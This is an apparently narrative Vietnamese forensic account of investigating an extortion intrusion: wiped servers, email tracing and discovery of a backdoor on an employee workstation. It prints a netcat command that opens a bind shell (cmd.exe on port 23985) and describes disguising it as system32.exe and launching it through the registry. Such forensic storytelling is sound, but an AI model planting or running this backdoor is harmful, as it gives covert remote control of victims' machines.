Hacker truyền kỳ - Phần 2
Phần 2: Truy tìm
Một buổi sáng thứ hai đầu tuần như mọi ngày đầu tuần khác, P. - tổng giám đốc của công ty A., ngồi đọc các email từ đối tác, cấp dưới, thông tin phản hồi của khách hàng… Nhưng hôm nay, TGĐ P. bị thu hút bởi một email có tiêu đề đẫm mùi giang hồ “Công ty A - Sống hay Chết?” từ địa chỉ email của giám đốc phụ trách kỹ thuật với nội dung thông báo rằng toàn bộ hệ thống mạng của công ty đã bị kiểm soát.
Đáng ngạc nhiên hơn là email gửi kèm một file chứa cấu trúc thư mục của một số máy chủ phục vụ web đặt tại văn phòng chính cùng với yêu cầu một số tiền lớn để giữ im lặng và không khai thác dữ liệu về khách hàng của công ty. Chẳng những vậy, kẻ tống tiền còn đồng thời kèm theo một lời cảnh cáo rằng không nên đụng gì tới các máy chủ đã bị xâm nhập nếu không sẽ phải trả giá đắt!
“Một chuyện đùa ư? Thế này thì không thể nào đùa rồi!”, TGĐ P. tự nhủ. Bốc điện thoại, điện ngay cho GĐ kỹ thuật M. và P. nhanh chóng được xác nhận rằng M. không hề gửi một email nào như thế. Bộ phận IT của công ty nhanh chóng bắt tay vào việc và đưa ra giải pháp cho tình huống. Họ rút cable của máy chủ tình nghi bị xâm nhập ra khỏi hệ thống mạng nhưng lập tức, màn hình các máy chủ này lập tức xuất hiện những hình hoạt hình nhảy múa và rồi tất cả chỉ còn một màu đen! Nhân viên bộ phận IT hốt hoảng tắt máy và gọi điện cho tôi.
2.1 Chứng cứ
Ngay chiều hôm đó, tôi có mặt tại “hiện trường” xảy ra “vụ án”. “Tổ chức khá quy mô và bài bản”, tôi tự nhủ sau khi tiếp cận với hệ thống mạng của công ty A. Hệ thống mạng của công ty này sử dụng một Hardware Firewall (HF) của CISCO có chức năng VPN, một Proxy Server kiêm luôn chức năng làm Software Firewall (SF) chạy trên nền Linux. Toàn bộ hệ thống được đặt sau Firewall (tường lửa), biệt lập hoàn toàn với Internet và không chấp nhận bất cứ một kết nối nào từ bên ngoài. Như vậy các cuộc tấn công từ ngoài vào sẽ được loại bỏ ngay bởi HF.
Tôi lập tức đặt ra 2 giả thuyết:
- Hệ thống đã bị tấn công từ bên bởi nhân viên của công ty.
- HF có lỗi và bị khai thác lỗi đó.
Theo cảm tính và kinh nghiệm làm việc, tôi kiểm tra ngay phần HF để có thể loại trừ bớt các trường hợp ít có khả năng xảy ra. Đây là loại HF hiện đại vào bậc nhất của CISCO vào thời điểm hiện tại. Firmware của HF đã được cập nhật phiên bản mới nhất từ nhà cung cấp CISCO và tính tới thời điểm cuộc tấn công bị phát hiện, vẫn chưa có một lỗi bảo mật có thể khai thác nào về dòng HF này được nhà cung cấp cũng như các website bugtraq thông báo. Có thể loại bỏ trường hợp bị tấn công trực tiếp từ bên ngoài? Vẫn chưa có gì chắc chắn cả!
Quay lại các máy chủ đã bị “chết”, tôi ngán ngẩm khi biết rằng toàn bộ các máy chủ đó đã bị xóa sạch sẽ. Trên ổ cứng của 3 máy chủ chỉ còn lại một tập tin 0wned. Cũng may là dữ liệu khách hàng của các máy này đã được sao lưu trên ổ băng từ. Như vậy là hiện trường xảy ra vụ án đã bị phi tang sạch sẽ. Mọi cố gắng phục hồi dữ liệu trở nên vô nghĩa khi ổ cứng bị ghi đè lên một bảng FAT mới. Điều này cũng đồng nghĩa với việc các đầu mối để điều tra cuộc tấn công đã bị xóa sạch và cuộc điều tra lại cuộc tấn công của hacker được đưa vào một ngõ cụt tối tăm. Tôi kết thúc một ngày mệt mỏi với hàng trăm dòng syslog của HF và 3 cái máy chủ đã bị xóa sạch ổ cứng.
2.2 Lần theo dấu vết
Ngày hôm sau, sau đợt tổng kiểm tra HF, tôi quay lại với manh mối duy nhất lúc đó là email đã được gửi tới tổng giám đốc của công ty. Phân tích email header và log của mail server, tôi nhận ra rằng email này được gửi từ IP 192.168.4.36. Như vậy giả thuyết hệ thống bị tấn công từ bên trong có vẻ khả thi và rõ ràng nhất nhưng công ty có cả một hệ thống mạng lớn với rất nhiều trạm làm việc khắp nơi trên thế giới. Tôi yêu cầu bộ phận IT xác định IP này thuộc chi nhánh nào. Các thông tin về IP 192.168.4.36 được nhanh chóng thu thập.
Cnslookup
Default Server : ns1.company.com
Address : 172.160.7.41
> 192.168.4.36
Server : ns1.company.com
Address : 172.160.7.41
Name : 192-168-4-36-TS.sales-vpn2.e-asia.company.com
Address : 192.168.4.36
Những thông tin này khá hữu ích. Nhờ nó mà tôi biết được email này được gửi từ chi nhánh Y và chiếc máy sở hữu địa chỉ IP này chính là một máy trạm (workstation) làm việc của nhân viên K. - một nhân viên làm việc lâu năm trong công ty. Máy tính này sử dụng hệ điều hình Windows 2000 Professional. Theo yêu cầu của ban quản lý, ổ cứng của máy tính này nhanh chóng được tháo ra và chuyển tới văn phòng chính.
Hai ngày sau. Ổ cứng của máy tính từ chi nhánh Y đã được chuyển tới. Tôi gắn nó vào một máy tính độc lập với mạng của công ty A. và đăng nhập với mật khẩu của Administrator để bắt đầu quá trình kiểm tra. Hệ thống hoạt động bình thường. Các phần mềm được cài đặt đều là phần mềm nằm trong quy định của công ty.
Mọi thứ không có gì bất thường cả. Tuy nhiên, mọi thứ bắt đầu bất thường khi tôi kiểm tra tới các tài khoản người dùng trên hệ thống. Ngoài các tài khoản Administrator, Guest, NVK (vốn là tài khoản của nhân viên K.) tôi đã tìm thấy một tài khoản khác đó là tài khoản 0wn. Tôi điện cho K. và được anh ta xác nhận rằng không hề cài thêm bất cứ một account nào trên hệ thống. Như vậy tài khoản 0wn là một account được tạo ra để lần sau đăng nhập dễ dàng hơn chăng?
Tiếp tục kiểm tra các xử lý (process) đang chạy trên hệ thống, tôi tìm ra một process có cái tên hay tuyệt: system32.exe
. Process này nằm ngay cạnh system32.dll
(một tập tin thư viện động của hệ thống).
Phải công nhận rằng tay hacker này cũng rất thông minh khi đặt tên của backdoor trùng tên với một tập tin hệ thống.
Nó dễ dàng đánh lừa những người thiếu kinh nghiệm và cả những người có kinh nghiệm nhưng thiếu cẩn thận. Bằng lệnh dir cùng khóa chuyển /s tôi nhanh chóng xác định được vị trí của tập tin system32.exe
. Nó được đặt tại 2 thư mục là WIN2K/SYSTEM32 và WIN2K/SYSTEM32/DLLCACHE
Uhm, system32.exe
này là cái gì vậy nhỉ? Tôi quyết định chạy thử xem nó là cái gì. Sau một hồi loay hoay với đủ các khóa chuyển, tôi xác định được nó chính là netcat. Một công cụ quen thuộc của các quản trị viên và cũng là một backdoor lợi hại của những kẻ xâm nhập. Nó như một chiếc đũa thần cho những kẻ xâm nhập với hàng loạt những chức năng như kết nối tới một máy chủ, quét cổng, truyền tải tập tin, và hoạt động như một backdoor.
Kiểm tra thư mục Start Up của hệ thống – hoàn toàn bình thường, không hề có một file nào gọi tới system32.exe
. Kiểm tra hệ thống System Registry, tôi chợt mừng húm vì cảm giác mình khám phá ra thêm một manh mối, system32.exe
đã được gọi khi máy khởi động với khóa chuyển như sau:
system32.exe -p 23985 -d -L -e cmd.exe
Wow, kiểm tra tiếp thử xem sao! Tôi sử dụng telnet vào localhost
với port 23985
và kết quả nhận được là một shell lệnh của hệ thống Windows với dấu nhắc C quen thuộc.
Một bức tranh sơ lược nhanh chóng được phác họa trong đầu tôi: hacker tấn công vào máy trạm của nhân viên K. để chiếm quyền điều khiển. Sau đó dùng máy này tấn công tiếp vào các máy trong trụ sở chính và gửi email để “xin tiền”. Có vẻ hợp logic nhưng vẫn có vài điểm chưa thuyết phục. Đó là gì nhỉ? Tôi mệt mỏi thiếp đi và đành khám phá câu trả lời vào ngày mai.